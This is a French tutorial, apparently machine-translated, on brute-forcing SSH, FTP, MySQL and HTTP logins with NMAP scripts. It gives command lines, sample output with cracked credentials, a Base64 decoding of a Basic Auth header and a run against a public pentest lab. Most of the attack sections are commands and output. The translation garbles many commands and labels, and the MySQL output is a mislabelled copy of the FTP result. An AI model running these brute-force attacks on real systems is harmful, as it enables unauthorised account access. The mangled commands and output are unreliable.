Mot de passe brute-forcing à l'aide de NMAP

Mot de passe brute-forcing à l'aide de NMAP
Aux services en ligne brute-force, les gens utilisent normalement Hydra, Medusa et Metasploit Framework, mais NMAP peut également être utilisé pour forcer brutal de nombreux services en ligne. Il existe des scripts NMAP intégrés qui prennent en charge FTP, MySQL, SMTP, SNMP, SSH, Telnet, LDAP et autres services divers. Vous pouvez également forcer des méthodes d'authentification basées sur des formulaires HTTP basées sur HTTP. Si vous avez installé NMAP, vous pouvez voir ces scripts dans le répertoire «/ usr / share / nmap / scripts».
ubuntu @ ubuntu: ~ $ sudo apt update && sudo apt mise à niveau
ubuntu @ ubuntu: ~ $ sudo apt install nmap -y
ubuntu @ ubuntu: ~ $ cd / usr / share / nmap / scripts /
ubuntu @ ubuntu: ~ $ ls * brute *

Dans ce tutoriel, nous explorerons comment nous pouvons utiliser NMAP pour une attaque à force brute.

SSH Brute-Force

SSH est un protocole d'administration à distance sécurisé et prend en charge l'authentification basée sur l'OpenSSL et le mot de passe. Pour obtenir une authentification basée sur le mot de passe SSH à force brute, nous pouvons utiliser «SSH-Brute.script nse ”nmap.

ubuntu @ ubuntu: / usr / share / nmap / script / $ ls * ssh * brute *
SSH-Brute.NSE

Passer le nom d'utilisateur et la liste des mots de passe comme argument à NMAP.

ubuntu @ ubuntu: ~ $ nmap - script ssh-brute -p22 192.168.43.181
--script-args userdb = utilisateurs.txt, passdb = mots de passe.SMS
Démarrer Nmap 7.70 (https: // nmap.org) à 2020-02-08 17:09 PKT
Rapport de numérisation NMAP pour 192.168.43.181
L'hôte est en place (0.00033s latence).
Service d'État de l'État
22 / TCP Open SSH
| SSH-Brute:
| Comptes:
| Admin: P4SSW0RD - Préditations valides
| _ Statistiques: effectué 99 suppositions en 60 secondes, TPS moyen: 1.7
NMAP FAIT: 1 adresse IP (1 hôte Up) scanné en 60.17 secondes

FTP Brute-Force

FTP est un protocole de transfert de fichiers qui prend en charge l'authentification basée sur le mot de passe. Pour FTP à force brute, nous utiliserons «FTP-Brute.script nse ”nmap.

ubuntu @ ubuntu: / usr / share / nmap / script / $ ls * ftp * brute *
FTP-Brute.NSE

Passer le nom d'utilisateur et la liste des mots de passe comme argument à NMAP.

ubuntu @ ubuntu: ~ $ nmap - script ftp-brute -p21 192.168.43.181 - Script-args
UserDB = utilisateurs.txt, passdb = mots de passe.SMS
Démarrer Nmap 7.70 (https: // nmap.org) au 2020-02-08 16:51 PKT
Rapport de numérisation NMAP pour 192.168.43.181
L'hôte est en place (0.00021s latence).
Service d'État de l'État
21 / TCP Open FTP
| FTP-Brute:
| Comptes:
| Admin: P4SSW0RD - Préditations valides
| _ Statistiques: effectué 99 suppositions en 20 secondes, TPS moyen: 5.0
NMAP FAIT: 1 adresse IP (1 hôte) scanné en 19.50 secondes

MySQL Brute-Force

Parfois, MySQL est laissé ouvert aux connexions extérieures et permet à n'importe qui d'y connecter. Son mot de passe peut être fissuré à l'aide de NMAP avec le script «MySQL-Brute».

ubuntu @ ubuntu: ~ $ sudo nmap - script mysql-brute -p3306 192.168.43.181
--script-args userdb = utilisateurs.txt, passdb = mots de passe.SMS
Démarrer Nmap 7.70 (https: // nmap.org) au 2020-02-08 16:51 PKT
Rapport de numérisation NMAP pour 192.168.43.181
L'hôte est en place (0.00021s latence).
Service d'État de l'État
3306 / TCP Open MySQL
| FTP-Brute:
| Comptes:
| Admin: P4SSW0RD - Préditations valides
| _ Statistiques: effectué 99 suppositions en 20 secondes, TPS moyen: 5.0
NMAP FAIT: 1 adresse IP (1 hôte) scanné en 19.40 secondes

Http brute-force

HTTP utilise trois types d'authentification pour authentifier les utilisateurs aux serveurs Web. Ces méthodologies sont utilisées dans les routeurs, les modems et les applications Web avancées pour échanger des noms d'utilisateur et des mots de passe. Ces types sont:

Authentification de base

Dans le protocole d'authentification de base HTTP, le navigateur code le nom d'utilisateur et le mot de passe avec Base64 et l'envoie sous l'en-tête «Autorisation». Vous pouvez le voir dans la capture d'écran suivante.

Autorisation: Basic Ywrtaw46ywrtaw4 =

Vous pouvez Base64 décoder cette chaîne pour voir le nom d'utilisateur et le mot de passe

ubuntu @ ubuntu: ~ $ echo ywrtaw46ywrtaw4 = | base64 -d
Admin: Admin

L'authentification de base HTTP n'est pas en sécurité car elle envoie à la fois le nom d'utilisateur et le mot de passe en texte brut. Tout attaquant homme dans le milieu peut facilement intercepter le trafic et décoder la chaîne pour obtenir le mot de passe.

Authentification digérée

L'authentification HTTP Digest utilise des techniques de hachage pour crypter le nom d'utilisateur et le mot de passe avant de l'envoyer au serveur.

Hash1 = md5 (nom d'utilisateur: royaume: mot de passe)
Hash2 = md5 (méthode: digesturi)
Réponse = MD5 (HASH1: Nonce: NonCount: CNONCE: QOP: HASH2)

Vous pouvez voir ces valeurs sous l'en-tête «Autorisation».

L'authentification basée sur le digest est sécurisée car le mot de passe n'est pas envoyé en texte brut. Si un attaquant homme dans le milieu intercepte le trafic, il ne pourra pas obtenir le mot de passe en texte brut.

Authentification basée sur la forme

Les authentifications de base et digest ne prennent en charge que le transfert de nom d'utilisateur et de mot de passe tandis que l'authentification basée sur le formulaire peut être personnalisée en fonction des besoins de l'utilisateur. Vous pouvez créer votre propre page Web dans HTML ou JavaScript pour appliquer vos propres techniques d'encodage et de transfert.

Habituellement, les données dans l'authentification basée sur la forme sont envoyées en texte brut. Pour les problèmes de sécurité, les HTTP doivent être appliqués pour empêcher les attaques de l'homme au milieu.

Nous pouvons forcer brut tous les types d'authentification HTTP à l'aide de NMAP. Nous utiliserons le script «http-brute» à cette fin.

ubuntu @ ubuntu: / usr / share / nmap / script / $ ls * http * brute *
brute http.NSE

Pour tester ce script NMAP, nous allons résoudre un défi de force brute-force hébergée publiquement de la Pentest Academy dans cette URL http: // Penteresteracademylab.appspot.com / lab / webapp / basicAuth.

Nous devons fournir tout, notamment le nom d'hôte, l'URI, la méthode de demande et les dictionnaires en tant qu'argument de script.

ubuntu @ ubuntu: ~ $ sudo nmap -p80 - script http-brute Penteresteracademylab.appspot.com
--script-args http-brute.nom d'hôte = Penteresteracademylab.appspot.com,
brute http.path = / lab / webapp / basicAuth, userdb = utilisateurs.txt, passdb = mots de passe.SMS,
brute http.Méthode = Post
Démarrer Nmap 7.70 (https: // nmap.org) à 2020-02-08 21:37 PKT
Rapport de numérisation NMAP pour Penteresteracademylab.appspot.com (216.58.210.84)
L'hôte est en place (0.Latence 20S).
Autres adresses pour Penteracademylab.appspot.com (non scanné): 2a00: 1450: 4018: 803 :: 2014
RDNS Record pour 216.58.210.84: MCT01S06-en-F84.1E100.filet
Service d'État de l'État
80 / TCP Open HTTP
| HTTP-Brute:
| Comptes:
| Admin: AADDD - Préditations valides
| _ Statistiques: effectué 165 suppositions en 29 secondes, TPS moyen: 5.3
NMAP FAIT: 1 adresse IP (1 hôte Up) scanné en 31.22 secondes

Conclusion

NMAP peut être utilisé pour faire beaucoup de choses malgré une simple numérisation de port simple. Il peut remplacer Metasploit, Hydra, Medusa et de nombreux autres outils fabriqués en particulier pour le forçage brute en ligne. NMAP possède des scripts intégrés simples et faciles à utiliser que la force brute presque tous les services comprenant HTTP, Telnel, SSH, MySQL, Samba et autres.